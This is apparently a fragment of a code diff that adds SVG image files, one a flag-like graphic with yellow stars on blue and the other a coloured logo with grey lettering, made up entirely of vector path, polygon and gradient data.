<path fill="#1A1A1A" d="M49.491,74.477c0-0.879,0.229-1.563,0.7-2.062c0.472-0.497,1.078-0.743,1.83-0.743c0.48,0,0.922,0.115,1.317,0.351c0.39,0.23,0.69,0.556,0.892,0.975c0.209,0.419,0.313,0.89,0.313,1.418c0,0.534-0.113,1.015-0.325,1.438c-0.22,0.419-0.521,0.743-0.92,0.958c-0.397,0.222-0.825,0.324-1.286,0.324c-0.492,0-0.941-0.12-1.328-0.354c-0.397-0.24-0.69-0.569-0.892-0.982C49.596,75.376,49.491,74.937,49.491,74.477z M50.213,74.487c0,0.635,0.167,1.137,0.514,1.501c0.344,0.366,0.773,0.551,1.287,0.551c0.521,0,0.961-0.185,1.297-0.557c0.347-0.371,0.514-0.895,0.514-1.573c0-0.431-0.073-0.808-0.221-1.125c-0.146-0.319-0.354-0.57-0.639-0.743c-0.283-0.18-0.597-0.269-0.941-0.269c-0.49,0-0.92,0.167-1.275,0.507C50.391,73.122,50.213,73.692,50.213,74.487z"/>
|
||||||
|
<path fill="#1A1A1A" d="M55.465,77.045v-5.278h0.701v2.166h2.741v-2.166h0.7v5.278h-0.7v-2.49h-2.741v2.49H55.465z"/>
|
||||||
|
<path fill="#1A1A1A" d="M61.251,71.767h3.213v4.656h0.472v1.857h-0.617v-1.235h-3.494v1.235h-0.617v-1.857h0.406c0.42-0.638,0.64-1.938,0.64-3.887L61.251,71.767L61.251,71.767z M63.764,72.39h-1.843v0.271c0,0.443-0.042,1.062-0.114,1.842c-0.084,0.78-0.24,1.417-0.48,1.92h2.438V72.39z"/>
|
||||||
|
<rect x="0" y="0" fill="#114D97" width="75.004" height="49.943"/>
|
||||||
|
<polygon fill="#F7EC2F" points="30.705,13.393 28.987,12.158 27.272,13.393 27.858,11.295 26.215,9.961 28.288,9.904 28.987,7.847 29.689,9.904 31.761,9.961 30.118,11.295 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="30.944,42.203 29.229,40.968 27.513,42.203 28.1,40.106 26.457,38.772 28.527,38.708 29.229,36.653 29.93,38.708 32.001,38.772 30.359,40.106 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="39.283,44.431 37.567,43.197 35.853,44.431 36.438,42.339 34.784,40.999 36.866,40.938 37.567,38.881 38.258,40.938 40.34,40.999 38.697,42.339 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="47.582,42.134 45.865,40.901 44.148,42.134 44.734,40.037 43.082,38.708 45.164,38.646 45.865,36.579 46.557,38.646 48.639,38.708 46.996,40.037 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="53.682,35.951 51.965,34.716 50.25,35.951 50.836,33.859 49.191,32.526 51.275,32.462 51.965,30.402 52.666,32.462 54.736,32.526 53.096,33.859 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="55.9,27.638 54.184,26.404 52.467,27.638 53.053,25.54 51.41,24.212 53.482,24.144 54.184,22.088 54.885,24.144 56.957,24.212 55.314,25.54 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="53.482,19.257 51.766,18.028 50.061,19.257 50.646,17.164 48.992,15.83 51.074,15.768 51.766,13.712 52.467,15.768 54.549,15.83 52.896,17.164 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="47.467,13.22 45.75,11.986 44.033,13.22 44.621,11.116 42.977,9.788 45.049,9.726 45.75,7.669 46.451,9.726 48.523,9.788 46.881,11.116 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="39.043,11.066 37.327,9.83 35.611,11.066 36.197,8.972 34.554,7.632 36.626,7.575 37.327,5.513 38.027,7.575 40.109,7.632 38.457,8.972 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="24.708,19.53 22.992,18.294 21.276,19.53 21.862,17.431 20.22,16.097 22.292,16.034 22.992,13.979 23.693,16.034 25.765,16.097 24.123,17.431 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="22.542,27.812 20.826,26.576 19.11,27.812 19.696,25.713 18.043,24.379 20.125,24.317 20.826,22.26 21.518,24.317 23.601,24.379 21.957,25.713 "/>
|
||||||
|
<polygon fill="#F7EC2F" points="24.813,36.171 23.097,34.937 21.381,36.171 21.967,34.073 20.324,32.744 22.396,32.676 23.097,30.62 23.798,32.676 25.871,32.744 24.228,34.073 "/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 18 KiB |
@@ -0,0 +1,87 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="82px" height="65.68px" viewBox="0 0 82 65.68">
|
||||||
|
<defs>
|
||||||
|
<linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="58.2744" y1="25.2605" x2="59.7073" y2="49.5906">
|
||||||
|
<stop offset="0" stop-color="#ED1C24"/>
|
||||||
|
<stop offset="0.83" stop-color="#ED1C24"/>
|
||||||
|
<stop offset="0.96" stop-color="#B51218"/>
|
||||||
|
<stop offset="1" stop-color="#B51218"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="SVGID_2_" gradientUnits="userSpaceOnUse" x1="9.124" y1="38.7258" x2="62.9365" y2="38.7258">
|
||||||
|
<stop offset="0" stop-color="#FFD400"/>
|
||||||
|
<stop offset="0.13" stop-color="#FFD400"/>
|
||||||
|
<stop offset="0.46" stop-color="#FFF200"/>
|
||||||
|
<stop offset="0.88" stop-color="#FFF200"/>
|
||||||
|
<stop offset="1" stop-color="#FFD400"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="SVGID_3_" gradientUnits="userSpaceOnUse" x1="23.6235" y1="48.9094" x2="23.6235" y2="0.0071">
|
||||||
|
<stop offset="0" stop-color="#DCDDDE"/>
|
||||||
|
<stop offset="0.31" stop-color="#EBEBEC"/>
|
||||||
|
<stop offset="0.54" stop-color="#FFFFFF"/>
|
||||||
|
<stop offset="0.72" stop-color="#FFFFFF"/>
|
||||||
|
<stop offset="0.99" stop-color="#DCDDDE"/>
|
||||||
|
<stop offset="1" stop-color="#D1D3D4"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="SVGID_4_" gradientUnits="userSpaceOnUse" x1="39.415" y1="-0.2146" x2="40.6521" y2="25.1713">
|
||||||
|
<stop offset="0" stop-color="#D51920"/>
|
||||||
|
<stop offset="0.06" stop-color="#D51920"/>
|
||||||
|
<stop offset="0.11" stop-color="#ED1C24"/>
|
||||||
|
<stop offset="0.99" stop-color="#ED1C24"/>
|
||||||
|
<stop offset="1" stop-color="#B51218"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="SVGID_5_" gradientUnits="userSpaceOnUse" x1="25.5503" y1="49.1838" x2="66.2371" y2="8.3985">
|
||||||
|
<stop offset="0" stop-color="#02428D"/>
|
||||||
|
<stop offset="0.14" stop-color="#034EA2"/>
|
||||||
|
<stop offset="0.41" stop-color="#0062AF"/>
|
||||||
|
<stop offset="0.86" stop-color="#034EA2"/>
|
||||||
|
<stop offset="1" stop-color="#023F88"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="SVGID_6_" gradientUnits="userSpaceOnUse" x1="9.123" y1="11.6936" x2="123.8082" y2="11.6936">
|
||||||
|
<stop offset="0" stop-color="#008641"/>
|
||||||
|
<stop offset="0.01" stop-color="#008641"/>
|
||||||
|
<stop offset="0.11" stop-color="#00A651"/>
|
||||||
|
<stop offset="0.88" stop-color="#00A651"/>
|
||||||
|
<stop offset="0.97" stop-color="#009247"/>
|
||||||
|
<stop offset="1" stop-color="#009247"/>
|
||||||
|
</linearGradient>
|
||||||
|
</defs>
|
||||||
|
<path fill="#717171" d="M80.658,54.327h-0.357l-1.314,2.428h0.357l0.395-0.766h1.48l0.395,0.766h0.357L80.658,54.327zM79.842,55.792l0.633-1.238l0.648,1.238H79.842z"/>
|
||||||
|
<polygon fill="#717171" points="74.287,56.755 74.287,54.575 75.447,56.755 75.768,56.755 76.924,54.575 76.924,56.755 77.254,56.755 77.254,54.327 76.725,54.327 75.605,56.472 74.484,54.327 73.957,54.327 73.957,56.755"/>
|
||||||
|
<path fill="#717171" d="M70.809,54.327h-0.355l-1.314,2.428h0.357l0.395-0.766h1.48l0.396,0.766h0.355L70.809,54.327zM69.992,55.792l0.635-1.238l0.646,1.238H69.992z"/>
|
||||||
|
<path fill="#717171" d="M67.445,54.638c-0.086-0.105-0.205-0.186-0.359-0.236c-0.156-0.051-0.34-0.076-0.557-0.074h-1.285v2.43h0.328v-0.002V55.79h0.844c0.162,0,0.313-0.016,0.453-0.041c0.141-0.027,0.262-0.068,0.367-0.127c0.104-0.061,0.188-0.135,0.246-0.229s0.09-0.205,0.09-0.338C67.572,54.884,67.529,54.745,67.445,54.638z M67.17,55.327c-0.045,0.068-0.107,0.121-0.189,0.158c-0.08,0.035-0.172,0.063-0.273,0.074c-0.107,0.016-0.221,0.021-0.342,0.021h-0.791V54.54h0.861c0.199,0,0.355,0.018,0.475,0.055c0.117,0.039,0.201,0.098,0.254,0.174c0.053,0.078,0.074,0.176,0.074,0.295C67.236,55.171,67.217,55.259,67.17,55.327z"/>
|
||||||
|
<polygon fill="#717171" points="61.752,54.54 63.385,54.54 63.385,54.327 61.416,54.327 61.416,56.757 61.752,56.757"/>
|
||||||
|
<path fill="#717171" d="M59.33,55.157c-0.041-0.129-0.104-0.244-0.184-0.354c-0.082-0.104-0.186-0.199-0.309-0.277c-0.123-0.076-0.268-0.139-0.434-0.182s-0.352-0.063-0.561-0.063s-0.396,0.021-0.561,0.063c-0.166,0.045-0.311,0.105-0.438,0.188c-0.123,0.076-0.227,0.17-0.309,0.275c-0.082,0.107-0.143,0.225-0.184,0.352c-0.039,0.127-0.057,0.26-0.057,0.4c0,0.191,0.037,0.363,0.107,0.518c0.07,0.152,0.176,0.283,0.313,0.391c0.133,0.107,0.297,0.191,0.486,0.248s0.404,0.086,0.643,0.088c0.236-0.002,0.451-0.031,0.641-0.088s0.354-0.141,0.486-0.248c0.135-0.107,0.236-0.236,0.311-0.391c0.07-0.152,0.105-0.324,0.105-0.518C59.389,55.419,59.369,55.284,59.33,55.157z M58.902,56.115c-0.096,0.154-0.236,0.271-0.416,0.355s-0.395,0.125-0.641,0.127c-0.25-0.002-0.467-0.043-0.646-0.127c-0.182-0.084-0.322-0.203-0.42-0.355c-0.1-0.156-0.148-0.34-0.148-0.555c0-0.227,0.049-0.42,0.145-0.58s0.234-0.281,0.416-0.365s0.398-0.127,0.654-0.129c0.254,0.002,0.471,0.045,0.65,0.129s0.314,0.205,0.41,0.365s0.143,0.354,0.145,0.58C59.049,55.775,58.998,55.958,58.902,56.115z"/>
|
||||||
|
<path fill="#717171" d="M54.402,54.638c-0.084-0.105-0.203-0.186-0.359-0.236c-0.154-0.051-0.34-0.076-0.555-0.074h-1.287v2.43h0.33v-0.002V55.79h0.844c0.162,0,0.313-0.016,0.451-0.041c0.141-0.027,0.262-0.068,0.367-0.127c0.105-0.061,0.188-0.135,0.248-0.229c0.059-0.094,0.088-0.205,0.09-0.338C54.529,54.884,54.486,54.745,54.402,54.638zM54.127,55.327c-0.045,0.068-0.107,0.121-0.188,0.158c-0.08,0.035-0.174,0.063-0.277,0.074c-0.105,0.016-0.219,0.021-0.342,0.021h-0.789V54.54h0.863c0.197,0,0.355,0.018,0.473,0.055c0.117,0.039,0.201,0.098,0.254,0.174c0.051,0.078,0.074,0.176,0.074,0.295C54.195,55.171,54.172,55.259,54.127,55.327z"/>
|
||||||
|
<polygon fill="#717171" points="47.619,56.755 47.949,56.755 47.949,54.519 49.787,54.519 49.787,56.755 50.123,56.755 50.123,54.327 47.619,54.327"/>
|
||||||
|
<path fill="#717171" d="M43.105,54.327H42.75l-1.313,2.428h0.355l0.396-0.766h1.477l0.398,0.766h0.355L43.105,54.327zM42.291,55.792l0.633-1.238l0.646,1.238H42.291z"/>
|
||||||
|
<polygon fill="#717171" points="37.434,56.755 37.434,55.568 39.391,55.568 39.391,56.755 39.715,56.755 39.715,54.327 39.391,54.327 39.391,55.374 37.434,55.374 37.434,54.327 37.104,54.327 37.104,56.755"/>
|
||||||
|
<path fill="#717171" d="M34.898,55.675c-0.107-0.105-0.273-0.17-0.494-0.203c0.188-0.051,0.324-0.119,0.408-0.211c0.086-0.09,0.127-0.193,0.127-0.313c-0.002-0.123-0.029-0.225-0.08-0.307c-0.051-0.08-0.123-0.145-0.217-0.189c-0.094-0.047-0.201-0.08-0.326-0.1s-0.262-0.027-0.41-0.025h-1.344v2.428h1.359c0.209,0,0.383-0.016,0.52-0.045c0.137-0.033,0.25-0.072,0.332-0.123c0.084-0.053,0.145-0.105,0.186-0.166s0.068-0.121,0.082-0.18c0.014-0.061,0.02-0.111,0.018-0.16C35.061,55.913,35.006,55.777,34.898,55.675z M32.896,54.532h0.953c0.104,0,0.203,0.004,0.297,0.012c0.092,0.01,0.174,0.029,0.246,0.059c0.072,0.027,0.127,0.07,0.17,0.127c0.041,0.057,0.061,0.131,0.063,0.225c-0.002,0.088-0.021,0.162-0.059,0.221c-0.039,0.059-0.092,0.105-0.162,0.137c-0.068,0.035-0.15,0.059-0.242,0.07c-0.092,0.014-0.193,0.021-0.301,0.021h-0.965V54.532z M34.656,56.349c-0.055,0.07-0.143,0.121-0.264,0.152c-0.121,0.033-0.279,0.051-0.475,0.049h-1.021v-0.959h1.021c0.193,0,0.352,0.016,0.473,0.049s0.209,0.086,0.266,0.156c0.057,0.072,0.084,0.166,0.084,0.281C34.74,56.189,34.711,56.279,34.656,56.349z"/>
|
||||||
|
<polygon fill="#717171" points="28.211,56.755 30.143,54.626 30.143,56.755 30.479,56.755 30.479,54.327 30.068,54.327 28.152,56.482 28.152,54.327 27.822,54.327 27.822,56.755"/>
|
||||||
|
<polygon fill="#717171" points="24.563,56.755 24.896,56.755 24.896,54.54 25.975,54.54 25.975,54.327 23.469,54.327 23.469,54.54 24.563,54.54"/>
|
||||||
|
<path fill="#717171" d="M20.639,54.327h-0.355l-1.313,2.428h0.355l0.396-0.766h1.479l0.396,0.766h0.355L20.639,54.327zM19.822,55.792l0.635-1.238l0.648,1.238H19.822z"/>
|
||||||
|
<path fill="#717171" d="M17.275,54.638c-0.084-0.105-0.203-0.186-0.357-0.236c-0.156-0.051-0.34-0.076-0.557-0.074h-1.287v2.43h0.328v-0.002V55.79h0.844c0.164,0,0.313-0.016,0.453-0.041c0.141-0.027,0.262-0.068,0.367-0.127c0.105-0.061,0.188-0.135,0.248-0.229c0.059-0.094,0.088-0.205,0.09-0.338C17.402,54.884,17.359,54.745,17.275,54.638z M17,55.327c-0.045,0.068-0.109,0.121-0.189,0.158c-0.08,0.035-0.172,0.063-0.275,0.074c-0.105,0.016-0.221,0.021-0.342,0.021h-0.791V54.54h0.865c0.197,0,0.355,0.018,0.473,0.055c0.119,0.039,0.201,0.098,0.254,0.174c0.051,0.078,0.074,0.176,0.074,0.295C17.066,55.171,17.045,55.259,17,55.327z"/>
|
||||||
|
<polygon fill="#717171" points="10.807,56.755 13.1,56.755 13.1,56.552 11.143,56.552 11.143,55.607 12.895,55.607 12.895,55.413 11.143,55.413 11.143,54.536 13.057,54.536 13.057,54.327 10.807,54.327 10.807,56.755"/>
|
||||||
|
<polygon fill="#717171" points="6.227,56.755 6.557,56.755 6.557,54.519 8.395,54.519 8.395,56.755 8.729,56.755 8.729,54.327 6.227,54.327"/>
|
||||||
|
<path fill="#717171" d="M4.139,55.157c-0.039-0.129-0.102-0.244-0.182-0.354c-0.082-0.104-0.186-0.199-0.309-0.277c-0.123-0.076-0.268-0.139-0.434-0.182c-0.164-0.043-0.352-0.063-0.561-0.063s-0.395,0.021-0.563,0.063c-0.166,0.045-0.311,0.105-0.434,0.188c-0.123,0.076-0.227,0.17-0.311,0.275c-0.08,0.107-0.143,0.225-0.184,0.352c-0.039,0.127-0.061,0.26-0.061,0.4c0.002,0.191,0.037,0.363,0.109,0.518c0.072,0.152,0.176,0.283,0.311,0.391c0.137,0.107,0.297,0.191,0.488,0.248s0.406,0.086,0.643,0.088c0.238-0.002,0.451-0.031,0.643-0.088c0.189-0.057,0.352-0.141,0.486-0.248c0.133-0.107,0.236-0.236,0.309-0.391c0.072-0.152,0.107-0.324,0.109-0.518C4.201,55.419,4.18,55.284,4.139,55.157z M3.711,56.115c-0.098,0.152-0.234,0.271-0.414,0.355s-0.395,0.125-0.643,0.127c-0.25-0.002-0.467-0.043-0.646-0.127c-0.182-0.084-0.322-0.203-0.418-0.355c-0.1-0.156-0.15-0.34-0.15-0.555c0-0.227,0.049-0.42,0.146-0.58C1.682,54.82,1.818,54.698,2,54.615s0.398-0.127,0.654-0.129c0.256,0.002,0.471,0.045,0.65,0.129s0.316,0.205,0.41,0.365c0.096,0.16,0.143,0.354,0.145,0.58C3.857,55.775,3.809,55.958,3.711,56.115z"/>
|
||||||
|
<polygon fill="#717171" points="82,64.454 82,63.452 79.037,63.452 79.037,62.044 81.627,62.044 81.627,61.103 79.037,61.103 79.037,59.929 81.871,59.929 81.871,58.927 77.904,58.927 77.904,64.454"/>
|
||||||
|
<polygon fill="#717171" points="72.344,64.454 73.752,64.454 75.797,60.29 75.797,64.454 76.938,64.454 76.938,58.927 75.557,58.927 73.482,63.193 73.482,58.927 72.344,58.927"/>
|
||||||
|
<polygon fill="#717171" points="66.988,64.454 68.119,64.454 68.119,62.052 70.305,62.052 70.305,64.454 71.436,64.454 71.436,58.927 70.305,58.927 70.305,61.068 68.119,61.068 68.119,58.927 66.988,58.927"/>
|
||||||
|
<polygon fill="#717171" points="66.193,64.454 66.193,63.452 63.23,63.452 63.23,62.044 65.822,62.044 65.822,61.103 63.23,61.103 63.23,59.929 66.064,59.929 66.064,58.927 62.1,58.927 62.1,64.454"/>
|
||||||
|
<polygon fill="#717171" points="56.383,64.454 57.584,64.454 58.973,60.195 60.355,64.454 61.582,64.454 59.639,58.927 58.352,58.927"/>
|
||||||
|
<path fill="#717171" d="M56.018,62.314c-0.053-0.152-0.129-0.291-0.23-0.406c-0.104-0.119-0.227-0.215-0.373-0.283c-0.148-0.068-0.318-0.107-0.51-0.115c0.143-0.027,0.275-0.078,0.396-0.148c0.123-0.072,0.229-0.164,0.322-0.27c0.092-0.107,0.162-0.223,0.215-0.348c0.051-0.123,0.078-0.252,0.078-0.383c0-0.24-0.047-0.455-0.137-0.643c-0.092-0.188-0.23-0.352-0.416-0.488c-0.135-0.104-0.314-0.182-0.545-0.229c-0.229-0.049-0.508-0.074-0.838-0.074h-2.398v5.527h2.615c0.631,0,1.105-0.137,1.424-0.41c0.314-0.271,0.477-0.684,0.477-1.232C56.098,62.634,56.068,62.47,56.018,62.314zM52.711,59.927h0.002h1.164c0.207,0,0.373,0.02,0.502,0.063c0.125,0.039,0.219,0.104,0.275,0.189c0.059,0.086,0.088,0.197,0.088,0.336c0,0.152-0.029,0.275-0.092,0.363c-0.061,0.088-0.156,0.15-0.289,0.188c-0.131,0.039-0.301,0.057-0.51,0.055h-1.141V59.927z M54.848,63.152c-0.055,0.092-0.135,0.16-0.232,0.203c-0.102,0.041-0.221,0.068-0.354,0.08c-0.137,0.016-0.283,0.02-0.445,0.018h-1.104v-1.408h1.123c0.166-0.002,0.316,0.004,0.451,0.021c0.135,0.016,0.248,0.051,0.346,0.098c0.096,0.051,0.17,0.125,0.221,0.223s0.078,0.23,0.078,0.393C54.932,62.935,54.902,63.062,54.848,63.152z"/>
|
||||||
|
<path fill="#717171" d="M49.119,58.927h-1.287l-1.969,5.527h1.199l0.371-1.166h2.023l0.379,1.166h1.227L49.119,58.927zM47.762,62.363l0.691-2.168l0.699,2.168H47.762z"/>
|
||||||
|
<path fill="#717171" d="M45.432,59.845c-0.102-0.229-0.24-0.414-0.418-0.547c-0.174-0.137-0.377-0.23-0.604-0.289c-0.23-0.057-0.471-0.084-0.725-0.082h-2.271v5.527h1.131v-1.865h1.096c0.279-0.002,0.535-0.043,0.771-0.129s0.439-0.211,0.617-0.373c0.176-0.162,0.313-0.359,0.406-0.59c0.1-0.234,0.148-0.498,0.15-0.791C45.584,60.361,45.533,60.075,45.432,59.845z M43.428,61.587h-0.881v-1.66h0.896c0.32,0,0.563,0.07,0.727,0.213c0.16,0.143,0.242,0.357,0.242,0.643C44.412,61.318,44.084,61.587,43.428,61.587z"/>
|
||||||
|
<polygon fill="#717171" points="36.975,59.927 39.299,59.927 39.299,64.452 40.43,64.452 40.43,58.925 35.844,58.925 35.844,64.452 36.975,64.452 36.975,59.927"/>
|
||||||
|
<path fill="#717171" d="M30.604,58.925l1.967,3.895l-0.146,0.33c-0.053,0.111-0.145,0.199-0.271,0.256c-0.131,0.059-0.297,0.09-0.496,0.09h-0.225v0.959h0.707c0.303,0,0.564-0.084,0.791-0.252c0.225-0.168,0.406-0.418,0.549-0.75l1.926-4.525H34.18l-0.893,2.186c-0.039,0.094-0.076,0.186-0.109,0.273c-0.035,0.088-0.07,0.184-0.105,0.287c-0.025-0.082-0.051-0.154-0.078-0.223c-0.025-0.068-0.051-0.139-0.078-0.211l-1.045-2.313h-1.268V58.925z"/>
|
||||||
|
<path fill="#717171" d="M27.846,60.47c-0.121-0.34-0.293-0.635-0.52-0.883s-0.504-0.438-0.826-0.57c-0.322-0.135-0.691-0.203-1.1-0.203c-0.428,0.002-0.809,0.074-1.137,0.221c-0.33,0.145-0.607,0.35-0.834,0.607c-0.227,0.264-0.396,0.568-0.514,0.92c-0.117,0.35-0.178,0.732-0.178,1.145c0.002,0.404,0.064,0.781,0.186,1.127c0.123,0.346,0.301,0.646,0.531,0.904s0.51,0.457,0.836,0.6c0.33,0.145,0.699,0.217,1.109,0.221c0.344-0.004,0.65-0.059,0.928-0.158c0.275-0.102,0.521-0.242,0.732-0.426s0.389-0.396,0.531-0.643c0.143-0.248,0.252-0.518,0.326-0.811c0.072-0.291,0.107-0.598,0.107-0.918C28.025,61.187,27.965,60.81,27.846,60.47zM26.814,62.212c-0.037,0.188-0.094,0.365-0.172,0.527c-0.076,0.16-0.172,0.303-0.291,0.426c-0.119,0.125-0.26,0.223-0.42,0.293c-0.162,0.066-0.348,0.104-0.555,0.105c-0.213-0.002-0.4-0.039-0.564-0.107c-0.16-0.072-0.301-0.17-0.414-0.295c-0.115-0.127-0.209-0.271-0.279-0.436c-0.074-0.164-0.127-0.34-0.16-0.527c-0.035-0.189-0.051-0.383-0.051-0.578c0-0.254,0.031-0.49,0.094-0.707c0.061-0.217,0.156-0.408,0.279-0.57c0.125-0.164,0.279-0.291,0.465-0.383c0.186-0.094,0.4-0.143,0.646-0.145c0.242,0.002,0.455,0.049,0.641,0.141c0.184,0.094,0.338,0.223,0.463,0.389c0.123,0.166,0.217,0.357,0.279,0.578c0.064,0.221,0.096,0.459,0.096,0.715C26.871,61.835,26.852,62.027,26.814,62.212z"/>
|
||||||
|
<path fill="#717171" d="M22.01,59.845c-0.102-0.229-0.24-0.414-0.418-0.547c-0.176-0.137-0.377-0.23-0.605-0.289c-0.227-0.057-0.467-0.084-0.723-0.082h-2.271v5.527h1.131v-1.865h1.098c0.277-0.002,0.533-0.043,0.77-0.129c0.234-0.086,0.439-0.211,0.615-0.373c0.178-0.162,0.313-0.359,0.41-0.59c0.096-0.234,0.146-0.498,0.148-0.791C22.162,60.361,22.109,60.075,22.01,59.845z M20.004,61.587h-0.881v-1.66h0.896c0.32,0,0.563,0.07,0.725,0.213c0.16,0.143,0.244,0.357,0.244,0.643C20.988,61.318,20.66,61.587,20.004,61.587z"/>
|
||||||
|
<path fill="#717171" d="M16.828,61.804c-0.102-0.221-0.24-0.402-0.424-0.543c-0.184-0.139-0.398-0.242-0.646-0.309c-0.25-0.068-0.525-0.102-0.824-0.102h-1.33v-0.924h2.928v-1.002h-4.061v5.529h0.002h2.59c0.273,0,0.527-0.043,0.76-0.129c0.23-0.082,0.436-0.205,0.607-0.367c0.174-0.16,0.307-0.354,0.404-0.584c0.096-0.227,0.145-0.488,0.146-0.777C16.979,62.29,16.928,62.025,16.828,61.804z M15.49,63.255c-0.176,0.131-0.438,0.195-0.783,0.195h-1.105v-1.613h0.002h1.088c0.35,0,0.615,0.068,0.793,0.207c0.18,0.137,0.27,0.346,0.27,0.619C15.754,62.929,15.666,63.124,15.49,63.255z"/>
|
||||||
|
<path fill="#717171" d="M11.463,60.47c-0.123-0.34-0.295-0.635-0.521-0.883s-0.504-0.438-0.824-0.57c-0.324-0.135-0.691-0.203-1.1-0.203c-0.428,0.002-0.809,0.074-1.137,0.221c-0.332,0.145-0.609,0.35-0.834,0.607c-0.229,0.264-0.396,0.568-0.514,0.92c-0.117,0.35-0.176,0.732-0.176,1.145c0,0.404,0.063,0.781,0.184,1.127c0.123,0.346,0.301,0.646,0.533,0.904c0.229,0.258,0.508,0.457,0.836,0.6c0.326,0.145,0.695,0.217,1.107,0.221c0.34-0.004,0.648-0.059,0.926-0.158c0.277-0.102,0.523-0.242,0.734-0.426s0.389-0.396,0.531-0.643c0.145-0.248,0.252-0.518,0.324-0.811c0.072-0.291,0.109-0.598,0.109-0.918C11.641,61.187,11.582,60.81,11.463,60.47zM10.43,62.212c-0.037,0.188-0.094,0.365-0.172,0.527c-0.076,0.16-0.174,0.303-0.291,0.426c-0.121,0.125-0.26,0.223-0.422,0.293c-0.162,0.066-0.346,0.104-0.553,0.105c-0.215-0.002-0.402-0.039-0.564-0.107c-0.162-0.072-0.301-0.17-0.414-0.295c-0.115-0.127-0.209-0.271-0.281-0.436s-0.125-0.34-0.158-0.527c-0.035-0.189-0.051-0.383-0.051-0.578c0-0.254,0.031-0.49,0.094-0.707c0.061-0.217,0.154-0.408,0.277-0.57c0.127-0.164,0.281-0.291,0.467-0.383c0.186-0.094,0.4-0.143,0.646-0.145c0.242,0.002,0.455,0.049,0.641,0.141c0.184,0.094,0.338,0.223,0.461,0.389c0.125,0.166,0.219,0.357,0.281,0.578c0.064,0.221,0.094,0.459,0.094,0.715C10.484,61.835,10.467,62.027,10.43,62.212z"/>
|
||||||
|
<path fill="#717171" d="M5.209,63.581v-4.656H1.002v3.377c0,0.256-0.039,0.49-0.123,0.705c-0.08,0.215-0.205,0.404-0.369,0.574H0v2.098h0.863l0.035-0.328c0.02-0.209,0.059-0.381,0.117-0.512c0.061-0.135,0.145-0.23,0.252-0.295c0.109-0.063,0.248-0.092,0.416-0.092h2.438v0.002c0.166,0,0.303,0.029,0.412,0.092s0.193,0.16,0.258,0.293c0.061,0.133,0.102,0.303,0.125,0.514l0.023,0.326h0.873v-2.098H5.209z M4.061,63.581H1.469c0.107-0.117,0.195-0.215,0.26-0.291c0.066-0.08,0.111-0.141,0.139-0.184c0.09-0.146,0.158-0.307,0.199-0.482c0.045-0.174,0.068-0.363,0.068-0.572v-2.176h1.926V63.581z"/>
|
||||||
|
<path fill="url(#SVGID_1_)" d="M50.06,25.704c-1.416,1.364-2.775,2.783-4.096,4.238c3.383,5.054,7.27,9.78,11.619,14.11c1.715,1.709,3.498,3.354,5.354,4.934h9.32C63.362,42.602,55.878,34.668,50.06,25.704"/>
|
||||||
|
<path fill="url(#SVGID_2_)" d="M62.937,48.987H54.62c-5.633-2.971-11.439-5.527-17.389-7.689c1.08-1.672,2.219-3.303,3.408-4.897c5.793,2.179,11.443,4.737,16.941,7.653C59.298,45.762,61.081,47.408,62.937,48.987 M34.972,34.404c-2.492-0.819-5.012-1.553-7.547-2.235c-0.25,1.915-0.527,3.825-0.842,5.729c1.688,0.463,3.365,0.965,5.035,1.492C32.679,37.688,33.804,36.032,34.972,34.404z M9.124,28.465v5.807c3.998,0.568,7.957,1.304,11.869,2.208c0.307-1.896,0.57-3.801,0.813-5.712C17.624,29.818,13.396,29.049,9.124,28.465z"/>
|
||||||
|
<path fill="url(#SVGID_3_)" d="M23.013,14.74c-0.035,1.6-0.143,3.997-0.266,5.988c-0.211,3.364-0.527,6.711-0.947,10.04c-0.24,1.911-0.506,3.815-0.813,5.711c-0.684,4.205-1.543,8.373-2.557,12.506h5.92c0.867-3.668,1.609-7.367,2.227-11.09c0.314-1.902,0.594-3.813,0.842-5.728c0.557-4.288,0.949-8.606,1.172-12.953c0.104-2.006,0.166-3.664,0.201-6.035c0.129-6.949-0.307-13.179-0.307-13.179h-5.764C22.722,0.001,23.187,5.153,23.013,14.74z"/>
|
||||||
|
<path fill="url(#SVGID_4_)" d="M43.77,14.204c-0.791-1.747-1.48-3.502-2.207-5.315c-1.303-3.252-2.797-8.888-2.797-8.888h-5.932c0,0,1.613,6.604,3.328,10.846c0.723,1.868,1.406,3.575,2.191,5.328c1.332,2.975,2.82,5.875,4.457,8.697c1.357-1.447,2.762-2.851,4.213-4.209C45.846,18.556,44.764,16.401,43.77,14.204"/>
|
||||||
|
<path fill="url(#SVGID_5_)" d="M47.02,20.663c-1.451,1.358-2.855,2.762-4.213,4.209c-2.823,3.001-5.438,6.188-7.833,9.531c-1.168,1.629-2.293,3.284-3.355,4.985c-1.924,3.084-3.65,6.297-5.203,9.598h6.393c1.344-2.643,2.822-5.205,4.426-7.689c1.08-1.672,2.219-3.303,3.408-4.897c1.668-2.234,3.446-4.389,5.323-6.457c1.32-1.455,2.682-2.874,4.098-4.238c4.412-4.247,9.271-8.052,14.531-11.307V7.739C58.209,11.362,52.313,15.707,47.02,20.663"/>
|
||||||
|
